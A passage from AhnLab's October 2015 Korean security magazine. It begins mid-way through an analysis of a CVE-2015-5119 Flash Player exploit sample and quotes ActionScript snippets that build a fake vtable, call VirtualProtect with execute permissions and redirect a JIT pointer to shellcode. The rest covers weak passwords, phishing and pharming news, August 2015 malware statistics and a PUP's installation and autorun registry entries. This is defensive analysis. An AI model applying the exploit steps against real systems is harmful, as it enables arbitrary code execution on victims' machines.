결국 EAX 값은 위의 과정 중 ④에서 호출되는 함수에 의해

ECX+0x20에 있는 값을 VirtualProtect() 함수의 두 번째 인자로 사

용한다. 이와 같은 내용을 확인하기 위해 이번 분석에 이용한 샘플에

서는 두 번째 인자를 다음과 같이 변경했다.

// find vtable pointer in Payload()

var p:uint = GetAddr(Payload);

……

// set second arg

Set(p+0x20, xLen); // ⑤ 과정을 위해 쉘코드 주소로 수정

[그림 25] 두 번째 인자 조작 과정

[그림 22] Method.call()에서 EAX 값 추적

Page 21: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

21

(5) 쉘코드 실행

쉘코드를 실행하기 위해 VirtualProtect()를 실행한 것과 동일하게

Method.call()을 이용한다. 즉, [그림 20]과 같이 VTable을 복사하여

가짜 VTable을 만들고, EDX가 가리키는 함수 포인터를 쉘코드의 주

소로 변경하면 별 다른 문제없이 쉘코드가 실행된다. 본 분석에서는

샘플의 코드를 수정하여 쉘코드가 동작하는 것을 확인하였다.

한편 이 샘플의 쉘코드를 실행하는 또 다른 방법도 있다. Method.

call() 함수의 “Call EDX” 내부를 추적해 [그림 28]과 같은 과정을 거

쳐 쉘코드 실행 코드를 찾는 것이다.

① FunctionObject에서 0x1C 떨어진 곳의 값이 이 함수의 인자로

전달되면 이를 EAX에 저장한다.

② ①의 주소에서 8바이트 떨어진 곳을 주소로 한다.

③ ②의 주소에서 4바이트 떨어진 곳의 값을 주소로 한다.

④ ③의 주소를 함수로 호출 - 쉘코드 실행

이와 관련해 이번 분석에 이용한 샘플에서는 다음과 같이 쉘코드 주

소를 조작했다.

[그림 28] 쉘코드 실행 코드

// set third arg = 0x40 PAGE_EXECUTE_READWRITE

var args:Array = new Array(0x41);

……

// call VirtualProtect()

var res = Payload.call.apply(null, args);

// 내부적으로 Method.call()을 호출하기 전에 Array 사이즈에서 1을 뺀 값을 세 번째 인

자로 사용함

[그림 27] 두 번째 인자 조작 과정

■ Vir tualProtect() 함수: 세 번째 인자, PAGE_EXECUTE_

READWRITE (0x40)

[그림 19]를 보면 함수가 호출되기 전에 ECX가 스택에 들어간다. 이

것이 VirtualProtect() 함수의 세 번째 인자로 사용된다. ECX는 [그림

26]과 같이 Method.call() 함수가 호출될 때 세 번째 인자로 사용된

값이다.

Method.call() 함수의 세 번째 인자로 0x40 이라는 값을 갖게 하기

위해 이번 분석에 이용한 샘플에서는 다음과 같이 인자를 전달한다.

[그림 26] Method.call()에서 ECX 값 추적

// find Payload JIT code pointer

var payAddr:uint = GetAddr(Payload);

logAdd("Payload() object = " + Hex(payAddr));

payAddr = Get(Get(payAddr + 0x1c) + 8) + 4; // ← ①~④ 과정

var old:uint = Get(payAddr);

// replace JIT pointer by &_x32[0]

Set(payAddr, xAddr); // ← 쉘코드 주소로 조작

// call x32 payload

var res = Payload.call(null);

[그림 29] 쉘코드 주소 조작 과정

플래시 플레이어 제로데이 공격, 잠재적인 피해 우려돼

CVE-2015-5119 취약점이 알려진 후 어도비사는 신속하게 보안 업

데이트를 발표했다. 문제는 사용자들은 보안 업데이트에 소홀하다는

점이다. 특히 사용자들이 자신의 PC에 플래시 플레이어가 설치되었

다는 사실을 인지하지 못 하는 경우가 많아 잠재적인 피해가 우려된다.

공격자들은 취약점을 이용해 ‘악의적인 행위’만 변경하면서 다양한

형태의 변종을 만들어낼 수 있다. 따라서 변종까지 효과적으로 대응

하기 위해서는 공격 시도 시점 이전, 즉 익스플로잇이 발생하는 시점

에 이를 탐지할 수 있는 방법이 필요하다. 이와 관련해 지능형 위협

대응 솔루션인 AhnLab MDS는 DICA 엔진을 이용해 다양한 애플리

케이션의 취약점이 발생하는 원인이 되는 부분을 어셈블리 단계에서

탐지할 수 있다. 따라서 공격 시도와 관련된 부분이 변경되더라도 이

와 관계없이 변형 악성코드를 진단 및 방어할 수 있다.

Page 22: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

22

지난해 한 보안업체에서 62만 5천 개의 비밀번호 해시(비밀번호가 암호화되어 저장되는 형식)를 수집해 비밀번호 해킹을 시도한 적이 있었다.

그런데 그 결과가 놀라웠다. 전체의 절반 이상인 54%의 비밀번호가 시도 2분 만에 뚫리고만 것이다. 단순한 비밀번호 유추 기술만으로 말이

다. 전체 비밀번호의 92%를 알아내는 데는 한 달 밖에 걸리지 않았다. 사람들이 얼마나 안전하지 않은 비밀번호를 사용하고 있는지를 알려주

는 단적인 사례다.

123456, PASSWORD…설마 이런 비밀번호를?

설마 아직도 이런 비밀번호를 사용하는 사람이 있을까 싶지만 놀랍게도 매우 많은 모양이다. 비밀번호 관리 소프트웨어 개발업체인 스플래시

데이터(SplashData)에 따르면, 2014년 가장 많이 유출된 비밀번호 1위는 ‘123456’이었다. ‘Password’(2위), ‘12345’(3위), ‘12345678’(4위)이

차례로 뒤를 이었다. 이후의 순위도 비슷한 패턴의 비밀번호였다(아래 박스 참고).

이것들보다 한 단계 나아간 것으로는 보이나 ‘Password1’, ‘Hello123’ 등도 최악의 비밀번호로 꼽힌다. 키보드에서 왼쪽 위에 자리한 문자열을

차례로 누르는 ‘qwerty’ 또한 매우 취약한 비밀번호다. 이 비밀번호를 쓰고 있다면 개인정보가 유출됐을 때 비밀번호가 뚫릴 확률은 100%다.

그것도 즉시.

자신이나 배우자 또는 아이의 이름, 주민등록번호 전화번호 생년월일 등도 비밀번호에서는 사용하지 않아야 한다. 다른 사람이 유추하기 쉬운

비밀번호를 사용하는 것은 보안상 매우 위험하다.

I T & L I F E

내 비밀번호는 얼마나 안전할까?

Smart Home and Security

많은 사람들은 예전부터 써오던 익숙한 비밀번호를 여러 사이트에서 바꾸지 않고 사용하고 있다. 새로운 비밀번호를 설정했다가 깜박

하기라도 하면 몇 단계의 인증을 거치는 불편함을 겪어야 하기 때문이다. 바꾸는 게 귀찮을 것일 수도 있고, 아예 바꿀 생각이 없을 수

도 있다. 이것이 바로 해커들이 노리는 보안 취약점이다.

과연 내가 쓰는 비밀번호는 안전한 것일까? 또 어떤 비밀번호가 안전하고, 어떤 비밀번호가 보안에 취약할까?

2014년 최악의 비밀번호 20선

1. 123456 (Unchanged from 2013)

2. password (Unchanged)

3. 12345 (Up 17)

4. 12345678 (Down 1)

5. qwerty (Down 1)

6. 1234567890 (Unchanged)

7. 1234 (Up 9)

8. baseball (New)

9. dragon (New)

10. football (New)

11. 1234567 (Down 4)

12. monkey (Up 5)

13. letmein (Up 1)

14. abc123 (Down 9)

15. 111111 (Down 8)

16. mustang (New)

17. access (New)

18. shadow (Unchanged)

19. master (New)

20. michael (New)

*출처: SplashData

Page 23: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

23

[그림 1] 비밀번호 조합 규칙만 준수해도 안전도가 ‘높음’으로 판단하는 경우

‘대/소문자, 숫자, 특수문자 조합’, 모두 안전하지는 않아

사이트에서는 비밀번호를 설정할 때 자신이 만든 비밀번호가 안전한지 여부를 표시해 알려주는 서비스가 있다. 하지만 사이트에서 안전하다고

분류하는 비밀번호 중에도 실제로는 안전하지 않은 경우가 있다. 대표적인 예가 ‘Password1!’이다. ‘Password1!’는 대/소문자, 숫자, 특수문자

를 모두 사용하고 있음에도 보안에 취약하다.

사이트의 비밀번호 안전성 판단 기능은 사용자가 대/소문자, 숫자, 특수문자를 모두 사용하는 경우 공격자가 해킹을 할 때 시도해야 하는 문자

의 조합이 늘어나기 때문에 비밀번호가 안전하다고 인식한다. 하지만 ‘Password1!’는 공격자가 아주 쉽게 생각할 수 있는 비밀번호다. 대/소문

자, 숫자, 특수문자를 조합했다고 결코 안전한 비밀번호는 아니라는 말이다.

오히려 타인이 유추할 수 없는 다른 사람의 이름이나 특정 장소, 애완동물의 이름 등 그 사람의 개인정보를 이용해 8자 이상의 문자열로 설정

하는 것이 숫자와 특수문자를 섞어 만든 쉬운 비밀번호보다 낫다. 물론 유추하기 어려운 단어와 함께 숫자와 특수문자를 함께 쓰면 보안 안전

성은 높아진다. 하지만 1!, 2@, 3#, 4$처럼 숫자와 동일한 키를 사용하는 특수문자를 함께 쓰는 것보다는 숫자와 다른 특수문자를 사용하는 게

좋다.

사이트마다 같은 비밀번호 사용은 ‘치명적’

사람들은 서너 개의 비밀번호를 서로 다른 사이트에서 돌려쓰는 경우가 많다. 하지만 이런 경우 특정 사이트가 해킹되어 비밀번호가 유출될

경우 같은 비밀번호를 사용하는 사이트마저 안전하지 않게 된다. 공격자는 해킹에 성공한 비밀번호를 이용해 다른 사이트의 로그인을 시도할

가능성이 높기 때문이다. 같은 비밀번호를 쓰고 있는 사이트는 비밀번호가 뚫린 사이트만큼 보안에 취약해지는 것이다.

어떻게 그 많은 사이트의 비밀번호를 모두 외우냐고 항변할 수도 있으나 이 부분은 사이트의 문자열 일부를 비밀번호에 넣는 등의 방식으로

비밀번호를 만들고 그 규칙만 기억하고 있다면 사이트마다 다른 비밀번호를 설정할 수 있다. 비밀번호를 만드는 규칙만 기억하면 사이트마다

다른 비밀번호를 설정하는 것이 가능해지는 것이다.

오랫동안 바꾸지 않은 비밀번호도 좋지 않아

지난해 발표된 한 보고서에 따르면 스마트폰을 사용하고 있는 사람 중 절반 이상이 5년 간 계정의 비밀번호를 바꾼 적이 없는 것으로 조사됐

다. 일년 동안 비밀번호를 변경하지 않은 사람은 무려 80%에 달했다. 10년 간 같은 비밀번호르 쓰고 있는 사람도 21%로 나타났다. 비밀번호

의 주기적인 변경은 항상 강조되는 보안수칙이지만 실제로 주기적으로 비밀번호를 바꾸고 있는 사람은 많지 않은 게 현실이다.

그렇다면 지금 내가 사용하는 온라인 계정과 컴퓨터 파일의 비밀번호가 안전한지 미리 알아보는 방법은 없을까? 인터넷진흥원(KISA)은 사용

자의 비밀번호가 안전한지를 검사해 알려주는 소프트웨어를 아래의 사이트에서 제공하고 있다. 또 마이크로소프트(MS)에서도 비밀번호의 강

도를 테스트해 볼 수 있는 암호 검사 기능 제공하고 있다. 단, 이들 암호 검사기가 보안성을 보장하지는 않으니 참고로만 사용하는 것이 좋다.

비밀번호 안전성 검사 서비스

■ 한국인터넷진흥원 패스워드 안전성 검증: http://seed.kisa.or.kr/iwt/ko/sup/EgovSafePwdLb.do■ MS 암호 검사기: https://www.microsoft.com/ko-kr/security/pc-security/password-checker.aspx

Page 24: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

24

[그림 2] 마이크로소프트 암호 검사기

위에서 설명한 취약한 비밀번호의 조건에 하나라도 해당된다면 지금 당장 비밀번호를 바꿔야 한다. 핵심은 안전한 비밀번호를 사용하는 이용

자의 습관이다. 무엇보다 중요한 것은 타인이 유추할 수 없는 비밀번호를 만드는 것이다. 비밀번호의 길이를 늘리는 것도 좋고, 복잡한 비밀번

호를 만드는 것도 방법이다. 서너 개의 비밀번호를 돌려쓰는 귀찮음에서 벗어나 사이트마다 다른 비밀번호를 설정해야 하고, 비밀번호를 변경

하라는 메시지도 무시하지 않고 주기적으로 교체해야 한다. 확실한 것은 기억하기 쉬운 비밀번호는 공격자가 노리기도 쉽다는 것이다.

Page 25: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

2525

A H N L A B N E W S

안랩은 지난 9월 8~10일 간 말레이시아 쿠알라룸프에서 열린 보

안 컨퍼런스 ‘Cyber Security Malaysia Awards, Conference &

Exhibition 2015(이하 CSM-ACE)’에 참가해 현지 애널리스트 및 보

안업계 관계자에게 APT 대응에서 모바일 보안에 이르는 다양한 보안

솔루션을 소개했다. CSM-ACE 2015는 말레이시아 공공기관, 금융기

관, 정보보안 관련 주요인사 약 800명이 참석한 가운데 진행된 컨퍼

런스로, 최신 보안 트렌드 관련 발표와 솔루션 전시가 이루어졌다.

최근 XX청, XX원 등 신뢰할 수 있는 기관을 사칭한 피싱 사이트와

파밍 사례가 늘고 있어 안랩은 사용자의 주의를 당부했다.

최근 발견된 사례에서 공격자는 실제 기관 사이트와 구분이 어려운

피싱 사이트를 제작하고 메일/SNS 등으로 사용자가 알아차리기 어

려운 가짜 URL을 첨부해 피해자의 방문을 유도했다. 해당 사이트는

정상 사이트와는 달리 ‘개인정보침해신고센터’ 메뉴가 존재한다. 공

격자는 피해자가 특정 메뉴를 클릭하면 ‘개인명의 도용 피해를 입

증하라’는 내용의 메시지를 띄워 피해자가 ‘개인정보침해신고센터’

메뉴를 이용하도록 유도했다.

만약 사용자가 ‘개인정보침해신고센터’를 클릭하면 가짜 ‘개인정보

보호’ 페이지로 연결되고, 해당 페이지에서 입력하는 개인 정보(신

청인명/전화번호/주민번호/핸드폰 번호/공인인증서)는 모두 공격

자에게 전송된다. 현재 해당 피싱 웹페이지는 삭제된 상태다.

또 다른 사례에서는 갓모드 취약점을 악용한 공격자가 보안패치가

되지 않은 인터넷익스플로러(IE)로 공격자가 변조한 웹 사이트 접속

시 파밍 악성코드에 감염 되도록 설정했다. 해당 악성코드에 감염

되면 사용자가 정상 URL로 특정 포털 사이트에 접속하더라도 해당

기관을 사칭한 팝업창이 나타난다. 이때 사용자가 의심없이 팝업창

을 클릭하면 개인/금융 정보를 요구하는 가짜 은행 사이트로 접속

한다. 이후 입력하는 정보는 공격자에게 전송되며, 이는 실제 금전

적인 피해를 유발할 수 있다.

안랩 ASEC대응팀 박태환 팀장은 “신뢰할 수 있는 기관을 사칭하

는 사례는 자주 등장하는 소재”라며 “사용자가 의심하지 않도록 방

식을 바꿔가며 공격을 시도하기 때문에, 기본적인 보안수칙 실천과

더불어 개인정보를 과도하게 요구하거나, 출처가 불분명한 URL을

보면 주의하는 습관이 필요하다”고 당부했다.

이 행사에서 안랩은 ▲지능형 위협에 대응 솔루션 AhnLab MDS

▲POS(Point of Sales, 판매시점관리)등 특수목적 시스템 전용 보안

솔루션 AhnLab EPS ▲DDoS 공격 방어 솔루션인 AhnLab DPS(국

내 제품명: 안랩 트러스가드DPX) ▲스마트폰 원스톱 보안 솔루션 ‘V3

Mobile Security’ 등을 소개했다.

안랩은 오는 10월 28~29일에는 태국 방콕에서 개최되는 Cyber

Defense Initiative Conference 2015(이하 CDIC)에 참가해 다양한

영역에서 발생하는 보안위협에 대응하기 위한 안랩의 보안 솔루션을

소개한다. CDIC는 동남아시아의 주요 민간/공공 부문에서 참여하는

대규모 보안 컨퍼런스 및 전시 행사로, 태국 및 동남아시아 정보보안

산업 분야의 트렌드 공유와 네트워킹, 마케팅을 위한 플랫폼을 제공

한다.

한편, 안랩은 지난 7월 아시아 태평양 지역 보안 컨퍼런스 RSA

AP&J(Asia Pacific & Japan)에 참가하는 등 싱가폴, 대만, 말레이시

아, 인도네시아 등 동남아시아 보안 시장 공략을 위한 마케팅 활동을

활발히 진행 중이다. 안랩 권치중 대표는 “안랩은 글로벌 수준의 보안

기술력과 APT대응에서 모바일까지 아우르는 다양한 영역의 솔루션으

로 동남아 현지 보안 시장 공략을 더욱 강화 할 것”이라고 말했다.

안랩, 동남아 보안 컨퍼런스 참가로

현지 마케팅 강화

공공/금융기관 사칭 피싱 및 파밍 증가, 주의!

▲ 말레이시아에서 진행된 CSM-ACE의 안랩 전시 부스

Page 26: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

26

보안 통계와 이슈 S T A T I S T I C S

[그림 2]는 2015년 8월 한 달간 유포된 악성코드를 주요 유형별로

집계한 결과이다. 불필요한 프로그램인 PUP(Potentially Unwanted

Program)가 78.16%로 가장 높은 비중을 차지했고, 트로이목마

(Trojan) 계열의 악성코드가 10.21%, 애드웨어(Adware)가 4.18%로

그 뒤를 이었다.

또한 지난 8월 한 달간 탐지된 모바일 악성코드는 15만 3,547건으로

집계됐다.

안랩 시큐리티대응센터(ASEC)는 ASEC Report Vol.68을 통해 지난 2015년 8월의 보안 통계 및 이슈를 전했다. 8월의 주요 보안 이

슈를 살펴본다.

PUP의 양과 질, 모두 ‘진화’ 중

ASEC, 8월 악성코드 통계 및 보안 이슈 발표

[그림 1] 악성코드 추이(2015년 6월 ~ 2015년 8월)

ASEC이 집계한 바에 따르면 2015년 8월 한 달간 탐지된 악성코드

수는 1,786만 9,127건이다. 이는 전월 1,936만 1,841건에 비해 149

만 2,714건 증가한 수치다. 한편 8월에 수집된 악성코드 샘플 수는

643만 7,437건이다.

샘플 수집 수탐지 건수

5,000,000

6,000,000

10,000,000

20,000,000

30,000,000

40,000,000

1,000,000

2,000,000

3,000,000

4,000,000

08월07월06월

16,053,77217,869,127

19,361,841

5,96

7,56

1

6,43

7,43

7

6,05

0,30

5

[그림 2] 2015년 8월 주요 악성코드 유형

Worm DownloaderAdwareetcTrojanPUP

4.18%

6.43%

10.21%

78.16%0.86%

0.16%

[그림 3] 모바일 악성코드 추이(2015년 6월 ~ 2015년 8월)

50,000

100,000

150,000

250,000

300,000

200,000

0

08월07월06월

153,547

229,644

277,313

Page 27: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

27

사회적 이슈로 클릭 유도하는 PUP 기승

앞서 통계를 통해 살펴본 바와 같이 불필요한 파일, PUP(Potentially

Unwanted Program) 유포가 지속적으로 늘어나고 있는 가운데, 최

근에는 연예인 관련 동영상이나 사회적 이슈와 관련된 동영상을 이용

한 PUP가 등장했다. 얼마 전에는 사용자가 삭제하기 어렵게 제작된

PUP가 유포된 데 이어 주로 악성코드 유포 시에 자주 등장하던 사회

공학적 기법까지 이용하는 PUP까지 나타남에 따라 PUP가 나날이 교

묘해지고 있음을 알 수 있다.

PUP는 악성코드는 아니지만 PC를 느려지게 하거나 광고창을 반복적

으로 노출하는 등 사용자에게는 악성코드 못지 않게 달갑지 않은 존

재임이 틀림없다. 이번에 발견된 PUP는 아래 표 및 그림과 같이 연

예인 동영상 또는 폭탄 테러 등 사회적인 이슈와 관련된 동영상을 이

용해 유포되었다. 아래 표의 파일 생성 일자에서 알 수 있는 것처럼

PUP 파일 제작자는 파일 제작 당시 뉴스에 자주 보도되는 이슈를 이

용했다.

사용자가 위의 파일들을 실행하면 ‘C:\Windows’ 경로에 ‘snbsetup.

exe’라는 파일이 생성 및 실행된다. 파일 ‘snbsetupe.exe’가 실행되

면 [표 1]와 같은 경로에 PUP가 설치된 후 실행된다.

또한 [표 3]과 같이 시작프로그램 영역에 등록되어 시스템이 시작될

때 PUP를 자동으로 실행한다.

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\

searchnet-> "C:\Program Files\SearchNet\searchnet.exe" HKCU\Software\Microsoft\Windows\CurrentVersion\Run\

usearchnet-> "C:\Program Files\SearchNet\usearchnet.exe"

이후 ‘utildownload.exe’라는 파일이 생성 및 실행되면 [그림 6]과 같

은 화면이 나타난다.

[그림 5] 사회적 이슈로 위장한 파일명

[그림 6] 파일 ‘UtilDownLoad’ 실행 화면

13,887

[그림 4] 악성코드 유포 도메인/URL 탐지 및 차단 건수(2015년 6월 ~ 2015년 8월)

1,504

악성 도메인/URL 차단 건수 악성코드 유포 URL 수악성코드 유포 도메인 수

10,000

20,000

30,000

8,000,000

9,000,000

40,000

7,000,000

6,000,000

5,000,000

4,000,000

008월

12,69116,578

1,2391,476

07월06월

4,037,996

4,943,679

5,791,463

C:\Program Files\SearchNet\searchnet.exeC:\Program Files\SearchNet\usearchnet.exeC:\Program Files\SearchNet\Uninstall.exeC:\Program Files\SearchNet\utildownload.exe

[표 2] 설치된 PUP 파일 정보

[표 3] 시작프로그램 정보

[표 1] PUP 파일 생성일자

파일명 파일 생성 일자

(연예인A)_태도논란_동영상.exe 2015.08.11 14시

(연예인B)_티저영상.exe 2015.08.11 15시

(방송인A)_동영상.exe 2015.08.18 16시

방콕폭탄테러_동영상.exe 2015.08.18 12시

[그림 6]의 좌측 하단에는 해당 PUP에 대한 이용약관이 표시되어 있

으며, 우측 하단에는 ‘파일 열기’ 버튼이 위치하고 있다. 사용자가 ‘파

일 열기’ 버튼을 클릭하면 인터넷 익스플로러(IE)가 실행되며 [그림 7]

과 같이 해당 이슈와 관련된 동영상 페이지가 연결된다.

[그림 7] 관련 이슈의 동영상 페이지로 연결

지난 8월 악성코드 유포지로 악용된 도메인은 1,239개, URL은 1만

2,691개로 집계됐다. 또한 8월의 악성 도메인 및 URL 차단 건수는 총

494만 3,679건이다.

Page 28: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

28

이때 나타나는 동영상 페이지는 정상 페이지이며 사용자가 보고자

했던 이슈와 관련된 내용의 동영상이기 때문에 사용자로서는 PUP가

설치되었다는 사실을 인지하기 어렵다. 이렇게 설치된 PUP는 사용자

가 방문하는 페이지 주소를 감시하다가 특정 페이지에 접속할 경우

사용자 PC에 광고가 나타나게 한다.

이처럼 날로 교묘해지는 PUP는 한 번 설치되면 악성코드 못지 않게

피해를 입기 쉽다. 특히 최근 악성코드 제작자들이 PUP를 이용해 악

성코드를 유포하는 사례가 늘어나고 있어 더욱 사용자들의 주의가

요구된다. 따라서 평소 PUP를 다운로드 하지 않도록 평소 주의하는

습관이 필요하다. 웹사이트에서 프로그램을 다운로드할 때는 정식 프

로그램 배포 사이트를 이용해야 하며, 다운로드 전송 프로그램을 이

용할 경우에는 숨겨진 동의 버튼 등이 없는지 반드시 확인해야 한다.

또한 백신 제품의 엔진을 항상 최신 버전으로 유지하는 습관이 필요하

다.

한편 V3 제품군은 현재 해당 PUP를 아래와 같은 진단명으로 탐지하

고 있다.

<V3 제품군의 진단명>

PUP/Win32.Toolbar (2015.08.18.05)

Trojan/Win32.Infostealer (2015.08.20.08)

Page 29: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

발행인 : 권치중

발행처 : 주식회사 안랩

경기도 성남시 분당구 판교역로 220

T. 031-722-8000 F. 031-722-8901

편집인 : 안랩 콘텐츠기획팀

디자인 : 안랩 디자인팀

© 2015 AhnLab, Inc. All rights reserved.

본 간행물의 어떤 부분도 안랩의 서면 동의 없이 복제, 복사, 검색 시스템

으로 저장 또는 전송될 수 없습니다. 안랩, 안랩 로고는 안랩의 등록상표입

니다. 그 외 다른 제품 또는 회사 이름은 해당 소유자의 상표 또는 등록상

표일 수 있습니다. 본 문서에 수록된 정보는 고지없이 변경될 수 있습니다.

Page 30: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

경기도 성남시 분당구 판교역로 220

T. 031-722-8000 F. 031-722-8901

© 2015 AhnLab, Inc. All rights reserved.

http://www.ahnlab.com

http://blog.ahnlab.com

http://twitter.com/ahnlab_man


Recommended